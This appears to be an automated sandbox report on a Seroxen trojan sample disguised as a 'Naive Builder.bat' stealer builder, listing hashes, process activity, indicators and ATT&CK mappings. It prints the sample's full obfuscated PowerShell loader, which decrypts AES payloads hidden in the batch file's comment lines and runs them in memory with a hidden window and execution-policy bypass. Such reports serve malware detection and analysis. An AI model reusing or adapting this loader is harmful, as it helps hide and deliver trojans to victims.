seroxen | cf00bf0d9259ac2976f1eae1a5f2af6306ccaf38d5b4643c0a852b6887073f74

General

Target

naive-stealer-main/Naive Builder.bat
Size

12.8MB
MD5

a2e3e4286e8b22b3b021a6706b899dd7
SHA1

e6179204735421c3927f27c13f9751af1dce9bd2
SHA256

efd80dd8487437f58413be6e7d2da6ea866ae7626b3225dbf326e8c82c85e580
SHA512

3ff5d19accd1fa6765ffc3554bb9cfe3989eee4cf226c2ce7abbaff47a1586253ab1b408f4f9e47611ea7d2415f3298b12dfada1d1987d43c2efa16aac11e3e8
SSDEEP

49152:JZHKpAhg6/Ri76PuM0gcqQP+GBRa1SgA+754EU1kOeTUliFDvnrNqjdsusoj8nNc:e

Score

10^/10

seroxen trojan

Malware Config

Signatures

Seroxen family
seroxen
Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
trojan seroxen

Executes dropped EXE 1 IoCs

pid	Process
1940	Naive Builder.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2300	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1940	Naive Builder.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	Naive Builder.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 2600	2300	cmd.exe	32
PID 2300 wrote to memory of 2600	2300	cmd.exe	32
PID 2300 wrote to memory of 2600	2300	cmd.exe	32
PID 2600 wrote to memory of 1060	2600	net.exe	33
PID 2600 wrote to memory of 1060	2600	net.exe	33
PID 2600 wrote to memory of 1060	2600	net.exe	33
PID 2300 wrote to memory of 1940	2300	cmd.exe	34
PID 2300 wrote to memory of 1940	2300	cmd.exe	34
PID 2300 wrote to memory of 1940	2300	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1060
- C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe
  "Naive Builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mJkVt($luVLu){ $XURkq=[System.Security.Cryptography.Aes]::Create(); $XURkq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XURkq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XURkq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EJfVxric5nYI0sCifeM7QtCynXluiHdjC3MMcb2UUrA='); $XURkq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IIC8RBkY6uF/2e5D1cUgfg=='); $XhpAT=$XURkq.CreateDecryptor(); $return_var=$XhpAT.TransformFinalBlock($luVLu, 0, $luVLu.Length); $XhpAT.Dispose(); $XURkq.Dispose(); $return_var;}function hLEOv($luVLu){ $SBbXV=New-Object System.IO.MemoryStream(,$luVLu); $RlXKT=New-Object System.IO.MemoryStream; $XPinw=New-Object System.IO.Compression.GZipStream($SBbXV, [IO.Compression.CompressionMode]::Decompress); $XPinw.CopyTo($RlXKT); $XPinw.Dispose(); $SBbXV.Dispose(); $RlXKT.Dispose(); $RlXKT.ToArray();}function tzqfR($luVLu,$MCcIJ){ $VEHZu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$luVLu); $cUkGe=$VEHZu.EntryPoint; $cUkGe.Invoke($null, $MCcIJ);}$flgbs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat').Split([Environment]::NewLine);foreach ($zFvRn in $flgbs) { if ($zFvRn.StartsWith(':: ')) { $TRCCB=$zFvRn.Substring(4); break; }}$YrvSK=[string[]]$TRCCB.Split('\');$xplph=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[0])));$vNzEy=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[1])));tzqfR $vNzEy (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));tzqfR $xplph (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1940

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1940-7-0x000007FEF567E000-0x000007FEF567F000-memory.dmp

Filesize
4KB

Download
memory/1940-8-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

Filesize
2.9MB

Download
memory/1940-9-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/1940-11-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-10-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-13-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-12-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-14-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-15-0x000007FEF53C0000-0x000007FEF5D5D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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